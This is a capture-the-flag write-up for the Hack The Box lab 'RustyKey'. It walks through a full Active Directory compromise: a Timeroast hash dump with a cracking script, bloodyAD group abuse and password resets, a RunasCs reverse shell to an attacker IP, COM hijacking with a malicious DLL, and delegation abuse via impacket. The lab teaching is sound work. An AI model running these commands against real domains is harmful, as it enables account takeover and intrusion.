Skip to content

RustyKey HTB Write Up

alt text

1. Target Information

IP Machine: 10.10.11.75

Domain: rustykey.htb

Initial credentials: rr.parker / 8#t5HE8L!W3A

2. Initial Reconnaissance

2.1 Port Scanning

sudo nmap -sS -p- --min-rate 5000 -n -vvv -Pn --open 10.10.11.75 -oG allPorts

alt text

nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49669,49670,49671,49672,49673,49676,49692,49739 10.10.11.75 -oN targeted

alt text

2.2 BloodHound Enumeration

I began by setting up BloodHound, using the following command to collect enumeration data.

bloodhound-python -u 'rr.parker' -p '8#t5HE8L!W3A' -d rustykey.htb -c All --zip -ns 10.10.11.75

alt text

Let's upload the generated .zip file to BloodHound.

alt text

3. Timeroast Attack

After analyzing BloodHound for a while without meaningful results, I proceeded to run the following command:

Here is from where I got the script I used.

Timeroast

3.1 Running Timeroast

python3 timeroast.py 10.10.11.75

This command produced the following output:

alt text

3.2 Analyzing RID in BloodHound

Moving forward, I noticed RIDs in the output. I cross-referenced each in BloodHound until I found the following:

alt text

Upon selecting the object in BloodHound, I discovered it had Outbound Object Control privileges.

We can see that we can AddSelf to Helpdesk group.

alt text

3.3 Cracking the Timeroast Hash

Since the password was unknown, I proceeded to crack it.

#!/usr/bin/env python3

"""Perform a simple dictionary attack against the output of timeroast.py. Necessary because the NTP 'hash' format 
unfortunately does not fit into Hashcat or John right now.

Not even remotely optimized, but still useful for cracking legacy default passwords (where the password is the computer 
name) or specific default passwords that are popular in an organisation.
"""

from binascii import hexlify, unhexlify
from argparse import ArgumentParser, FileType, RawDescriptionHelpFormatter
from typing import TextIO, Generator, Tuple
import hashlib, sys, re

HASH_FORMAT = r'^(?P<rid>\d+):\$sntp-ms\$(?P<hashval>[0-9a-f]{32})\$(?P<salt>[0-9a-f]{96})$'

def md4(data: bytes) -> bytes:
    try:
        return hashlib.new('md4', data).digest()
    except ValueError:
        from md4 import MD4  # Fallback to pure Python if OpenSSL has no MD4
        return MD4(data).bytes()

def compute_hash(password: str, salt: bytes) -> bytes:
    """Compute a legacy NTP authenticator 'hash'."""
    return hashlib.md5(md4(password.encode('utf-16le')) + salt).digest()

def try_crack(hashfile: TextIO, dictfile: TextIO) -> Generator[Tuple[int, str], None, None]:
    hashes = []
    for line in hashfile:
        line = line.strip()
        if line:
            m = re.match(HASH_FORMAT, line)
            if not m:
                print(f'ERROR: invalid hash format: {line}', file=sys.stderr)
                sys.exit(1)
            rid, hashval, salt = m.group('rid', 'hashval', 'salt')
            hashes.append((int(rid), unhexlify(hashval), unhexlify(salt)))

    for password in dictfile:
        password = password.strip()
        for rid, hashval, salt in hashes:
            if compute_hash(password, salt) == hashval:
                yield rid, password

def main():
    argparser = ArgumentParser(formatter_class=RawDescriptionHelpFormatter, description=\
"""Perform a simple dictionary attack against the output of timeroast.py.

Not even remotely optimized, but still useful for cracking legacy default 
passwords (where the password is the computer name) or specific default 
passwords that are popular in an organisation.
""")

    argparser.add_argument('hashes', type=FileType('r'), help='Output of timeroast.py')
    argparser.add_argument('dictionary', type=lambda f: open(f, encoding='latin-1'), help='Line-delimited password dictionary (e.g. rockyou.txt)')
    args = argparser.parse_args()

    crackcount = 0
    for rid, password in try_crack(args.hashes, args.dictionary):
        print(f'[+] Cracked RID {rid} password: {password}')
        crackcount += 1

    print(f'\n{crackcount} passwords recovered.')

if __name__ == '__main__':
    main()

Then I runned this.

python3 timecrack.py hash.txt /usr/share/wordlists/rockyou.txt 

The password was successfully recovered.

alt text

IT-COMPUTER3.RUSTYKEY.HTB / Rusty88!

4. Privilege Escalation to bb.morgan

4.1 Gaining Access to bb.morgan via AddSelf and Password Reset

Next, I abused the AddSelf privilege using BloodyAD. But before let's check Bloodhound again and we will see that from Helpdesk group we can change password to bb.morgan

alt text

With this information, we can target the bb.morgan user using the following commands:

bloodyAD --kerberos --host dc.rustykey.htb -k -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' add groupMember HELPDESK 'IT-COMPUTER3$'

bloodyAD --host dc.rustykey.htb -k -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' remove groupMember 'Protected Objects' 'IT'

bloodyAD --host dc.rustykey.htb -k -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' set password 'bb.morgan' Rustykey@123

impacket-getTGT rustykey.htb/bb.morgan:Rustykey@123 -dc-ip 10.10.11.75

export KRB5CCNAME=$(pwd)/bb.morgan.ccache

evil-winrm -i dc.rustykey.htb -k -u bb.morgan -r RUSTYKEY.HTB

alt text

Flag can be found at type C:\Users\bb.morgan\Desktop\user.txt

5. Escalating via Helpdesk Group

On the desktop, there is a .pdf file. Let's download and review its contents.

alt text

This is the content.

alt text

5.1 Discovering ee.reed

If we check what members are in the Support group we can see there is ee.reed

alt text

As long we know with that query we can change it's password because we are in Helpdesk group.

alt text

5.2 Resetting ee.reed’s Password

To take over the ee.reed user account, I ran the following commands:

bloodyAD --kerberos --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' add groupMember 'CN=HELPDESK,CN=USERS,DC=RUSTYKEY,DC=HTB' 'IT-COMPUTER3$'


bloodyAD --kerberos --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' set password 'CN=EE.REED,OU=USERS,OU=SUPPORT,DC=RUSTYKEY,DC=HTB' 'Password123!'


bloodyAD --kerberos --dc-ip $IP --host dc.rustykey.htb -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' remove groupMember "CN=PROTECTED OBJECTS,CN=USERS,DC=RUSTYKEY,DC=HTB" "SUPPORT"


.\RunasCs.exe ee.reed Password123! cmd.exe -r 10.10.XX.xx:6666

alt text

6. Gaining Shell as ee.reed

6.1 Using RunasCs for Remote Shell

alt text

And we got the shell back now we are as ee.reed user.

alt text

Here is the RunasCs.exe:

RunasCs

7. COM Hijacking for mm.turner Access

So for getting mm.turner user we need to COM hijacking.

7.1 Locating 7-Zip CLSID

For that I runned that command:

reg query "HKLM\SOFTWARE\Classes\CLSID" /s | findstr /i "7-zip"

alt text

7.2 DLL Payload Deployment

Then I crafted my malicious .dll

alt text

And I created a folder and upload it there as bb.morgan user.

alt text

7.3 Triggering Hijack as mm.turner

I executed the following commands in the ee.reed shell:

New-Item -Path "HKLM:\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" -Force

Set-ItemProperty -Path "HKLM:\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" -Name "(default)" -Value "C:\Stop\dll.dll"

Set-ItemProperty -Path "HKLM:\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" -Name "ThreadingModel" -Value "Apartment"

alt text

After setting up a listener, we receive a connection back as the mm.turner user.

alt text

8. Final Escalation via Delegation Abuse

Once we gain access as mm.turner, we can run the following commands to impersonate the backupadmin user.

8.1 Abuse Delegation to Impersonate backupadmin and Gain Administrator Access

If we check Bloodhound we are in DelegationManager group.

alt text

For abuse of that I executed the following commands:

Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount IT-COMPUTER3$

alt text

Now we need to request ticket as IT-COMPUTER3$ before we need to enter this configuration in the /etc/krb5.conf.

[libdefaults]
    default_realm = RUSTYKEY.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false
    ticket_lifetime = 24h
    forwardable = true
    allow_weak_crypto = true
    default_tkt_enctypes = rc4-hmac
    default_tgs_enctypes = rc4-hmac
    permitted_enctypes = rc4-hmac

[realms]
    RUSTYKEY.HTB = {
        kdc = 10.10.11.75
    }

[domain_realm]
    .rustykey.htb = RUSTYKEY.HTB
    rustykey.htb = RUSTYKEY.HTB

Now yes.

kinit IT-COMPUTER3$

impacket-getST -spn 'cifs/dc.rustykey.htb' -impersonate backupadmin -dc-ip $IP -k 'RUSTYKEY.HTB/IT-COMPUTER3$:Rusty88!'

export KRB5CCNAME=$(pwd)/backupadmin@cifs_dc.rustykey.htb@RUSTYKEY.HTB.ccache

impacket-smbexec -k -no-pass 'RUSTYKEY.HTB/backupadmin@dc.rustykey.htb'

alt text

alt text

9. Root Flag

Root flag can be found at this path: C:\Users\Administrator\Desktop\root.txt

Made by Astro